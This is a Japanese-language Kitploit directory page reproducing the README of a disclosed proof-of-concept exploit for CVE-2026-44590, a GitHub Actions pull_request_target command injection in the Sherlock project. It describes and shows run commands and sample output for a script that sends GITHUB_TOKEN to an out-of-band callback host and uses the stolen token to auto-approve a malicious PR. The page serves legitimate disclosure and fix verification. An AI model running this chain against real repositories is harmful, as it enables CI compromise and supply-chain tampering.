Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/astaruf/cve-2026-44590
脆弱性分析エクスプロイトウェブアプリケーション悪用サプライチェーンセキュリティ学習と教育レッドチーミング
GitHubastaruf/cve-2026-44590

CVE-2026-44590

CVE-2026-44590の概念実証エクスプロイト。SherlockのGitHub Actionsワークフローにおけるコマンドインジェクションであり、pull_request_targetを介したRCEとGITHUB_TOKENの窃取を可能にします。

リポジトリを見る
3ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-44590 - sherlock-project/sherlock CI - pull_request_targetインジェクションによるRCE → サプライチェーン侵害

発見・報告者: Astaruf

完全な解説記事: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/

上流のセキュリティアドバイザリ: sherlock-project/sherlock GHSA advisory

NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2026-44590

CVEレコード: https://www.cve.org/CVERecord?id=CVE-2026-44590


このリポジトリには、sherlock-project/sherlock の validate_modified_targets.yml GitHub Actionsワークフローにおけるコマンドインジェクションである CVE-2026-44590 の概念実証(PoC)が含まれています。任意のGitHubユーザーがプルリクエストを開くことで、特権CIコンテキストでの任意のコマンド実行を引き起こし、ワークフローの GITHUB_TOKEN を外部に漏えいさせ、悪意のあるPRを自動承認させることができます。これらはすべて人間の操作なしで実行可能です。

完全な技術解説(根本原因分析、悪用手順、影響の考察、現実世界のシナリオで攻撃者が何ができるかに関する章)については、ブログ記事を参照してください:

nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590

このREADMEは PoCスクリプト にのみ焦点を当てています: その機能、実行方法、期待される結果について説明します。

poc.py について

poc.py は、攻撃チェーン全体をエンドツーエンドで自動化する単一の自己完結型Pythonスクリプトです(標準ライブラリのみ使用):

  • 必要に応じて sherlock-project/sherlock をフォークします
  • (オプションで)上流の修正後もバグを再現できるよう、フォークの master を修正前のコミットにロールバックします
  • OASTリスナー(interactsh-client)を起動します
  • 悪意のあるPRブランチを作成してプッシュします
  • 脆弱なワークフローをトリガーします
  • OASTコールバックから GITHUB_TOKEN を抽出し(--mode exfil 時)、平文でデコードします
  • 盗んだトークンを使用して、GitHub API経由で同じPRを自動承認します
  • 明確な最終判定を出力します: VULNERABILITY CONFIRMED または FIX VERIFIED
  • 実行後にクリーンアップします(PoCブランチの削除、interactsh-client の終了)

手動ステップは 1つだけ 必要です(フォークごとに初回のみ、GitHubの「I understand my workflows」バナーをクリックする)。これを無視する公開APIは存在しないためです。スクリプトはこのケースを検出し、明確なプロンプトを表示して一時停止します。

クイックスタート

上流の修正が機能することを確認する(デフォルト動作)

root@kitploit:~
python3 poc.py --fork-owner <your-github-username>

リポジトリをフォークし(必要な場合)、上流と同期し(修正済みのmaster)、悪意のあるPRを開き、攻撃チェーンを実行して、修正済みのワークフローがシェルコマンド実行前にペイロードをブロックするため FIX VERIFIED と報告します。

元の脆弱性を再現する

root@kitploit:~
python3 poc.py --fork-owner <your-github-username> --vulnerable

上記と同じですが、最初にフォークの master を修正前のコミット(271608fb)にロールバックします。期待される判定: VULNERABILITY CONFIRMED。

完全な影響を実証する(トークン漏えい + PR自動承認)

root@kitploit:~
python3 poc.py --fork-owner <your-github-username> --vulnerable --mode exfil

exfilペイロードは git config --list をOASTにダンプし、ワークフロー(および GITHUB_TOKEN)を生かしたままにするために180秒間スリープします。ワークフローがスリープしている間に、スクリプトはOASTログからトークンを抽出し、デコードして、直ちにGitHub APIを呼び出してPRを承認します。PRは github-actions[bot] によって承認された状態になります。

要件

  • Python 3.8以上(サードパーティ依存関係なし、標準ライブラリのみ)
  • gh(GitHub CLI)、認証済み:
    root@kitploit:~
    gh auth login
    
  • git
  • interactsh-client(オプションですが推奨)。インストールされている場合、スクリプトは自動的に起動し、スクリプト内でコールバックを検証します:
    root@kitploit:~
    go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
    
    独自のOASTエンドポイント(Burp Collaborator、Web UI経由のoast.fun、requestbinなど)を使用したい場合は、--oast-url で渡すと、自動検証ステップはスキップされます。

スクリプトは事前にフォークが存在することを 必要としません。自動的に作成します。

モード

--mode harmless(デフォルト)

ペイロードは、静的な確認文字列を含む単一の curl POSTです。シークレットは読み取られず、API呼び出しも行われず、唯一の副作用はOASTコールバックです。認証情報を公開せずに脆弱性の存在を確認するためにこれを使用します。

--mode exfil

ペイロードは git config --list(http.https://github.com/.extraheader の下にbase64エンコードされた GITHUB_TOKEN が含まれます)をOASTにダンプし、その後180秒間スリープします。スクリプトは次のことを行います:

  1. ダンプが到着するまでOASTログをポーリングします。
  2. 正規表現でbase64ブロブを抽出します。
  3. デコードして認証情報を平文で出力します: x-access-token:ghs_XXXXXXXX...。
  4. x-access-token: プレフィックスを削除し、生のトークンを使用して標準の承認ペイロード({"event":"APPROVE","body":"All checks passed. LGTM!"})で POST /repos/<fork>/pulls/<n>/reviews を呼び出します。
  5. PRは github-actions[bot] によって承認されたものとして表示され、正当なCI自動化と区別がつきません。

承認が記録されると、攻撃チェーンは完了しており、ランナーのタイムアウトを待っても何も追加されないため、スクリプトはワークフローの残りの180秒のスリープをスキップします。

オプション

フラグ説明
--fork-owner <user>必須。 フォークを所有する(または所有する予定の)GitHubユーザー名
--fork-name <name>フォークリポジトリ名(デフォルト: sherlock)
--oast-url <url>コールバックを受信するOASTエンドポイント。省略した場合、スクリプトは interactsh-client を自動起動し、スクリプト内で判定を実行します
--mode harmless|exfilペイロードタイプ(デフォルト: harmless)
--vulnerable実行前にフォークの master を修正前のコミット(271608fb)に強制リセットします。--no-sync を暗黙的に含みます
--no-syncフォークと上流の同期をスキップします(固定コミットのテストに便利)
--base-branch <name>フォーク上のPRターゲットブランチ(デフォルト: master)
--keep-branch完了後にPoCブランチを削除しません
--no-pollワークフロー実行のポーリングをスキップし、PR作成後に終了します

PRが上流リポジトリではなくフォークをターゲットにする理由

設計上、PoCはPRを フォーク上のブランチから同じフォークの master へ 開きます。sherlock-project/sherlock を直接ターゲットにすることはありません。これには2つの理由があります。

1. エクスプロイトの公開開示を避ける

公開リポジトリ上のプルリクエストは誰にでも見えます。PRが閉じられた後も差分はインデックスに残り、GitHub ActionsのログはWeb UIからアクセス可能です。上流リポジトリで動作するコマンドインジェクションペイロードを含むPRを開くことは、メンテナが修正をリリースする前に、実用的なエクスプロイトを事実上公開することになります。リポジトリを監視している誰もがペイロードをコピーし、OASTコールバックを悪意のあるエンドポイントに置き換え、実際の GITHUB_TOKEN を漏えいさせるために使用できます。

PoCはフォーク間PRを使用して、エクスプロイトを公開の目に触れさせずに、バグをエンドツーエンドで実証します。

2. 正確な脆弱な動作の再現

sherlock-project/sherlock をフォークすると、ワークフローファイル validate_modified_targets.yml がフォークに含まれます。フォークの master をターゲットとするPRを開くと、フォークのコンテキストでワークフローがトリガーされ、フォークに対して発行された GITHUB_TOKEN が使用されます。メカニズムは元の攻撃と同一です:

  • pull_request_target トリガーが自動的に発火します
  • ワークフローはベースリポジトリのコンテキストで実行されます(この場合、フォーク)
  • ワークフローは自身の GITHUB_TOKEN にアクセスできます
  • actions/checkout は http.https://github.com/.extraheader 設定を介してトークンを .git/config に書き込みます
  • インジェクションされたペイロードはトークンを抽出または使用できます

唯一の違いは影響範囲です: トークンは sherlock-project/sherlock ではなくフォークに属します。脆弱性は再現されますが、影響は封じ込められます。

唯一の手動ステップ

GitHubは新しく作成されたフォークでActionsをUIバナーで無効にします:

Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.

このバナーを無視する 公開APIはありません。スクリプトはこの状態(フォークが作成されたばかり、または過去のワークフロー実行がゼロ)を検出し、明確なプロンプトを表示して一時停止します:

root@kitploit:~
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser:  https://github.com/<user>/sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...

特定のフォークでバナーを一度クリックすると、同じフォークに対する後続の実行ではスクリプトは再度プロンプトを表示しません。

サンプル出力(脆弱、exfilモード)

root@kitploit:~
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork:    youruser/sherlock
10:54:36 [*] Payload mode:   exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done

サンプル出力(修正済み、exfilモード)

root@kitploit:~
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*]   status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================

免責事項

このリポジトリは 教育およびセキュリティ研究目的のみ で公開されています。この脆弱性はメンテナに責任を持って開示され、上流で修正され、CVEが申請されています。所有していない、またはテストする明示的な許可がないリポジトリに対してこのPoCを実行しないでください。著者は誤用について一切の責任を負いません。

ライセンス

MIT

ツールをダウンロード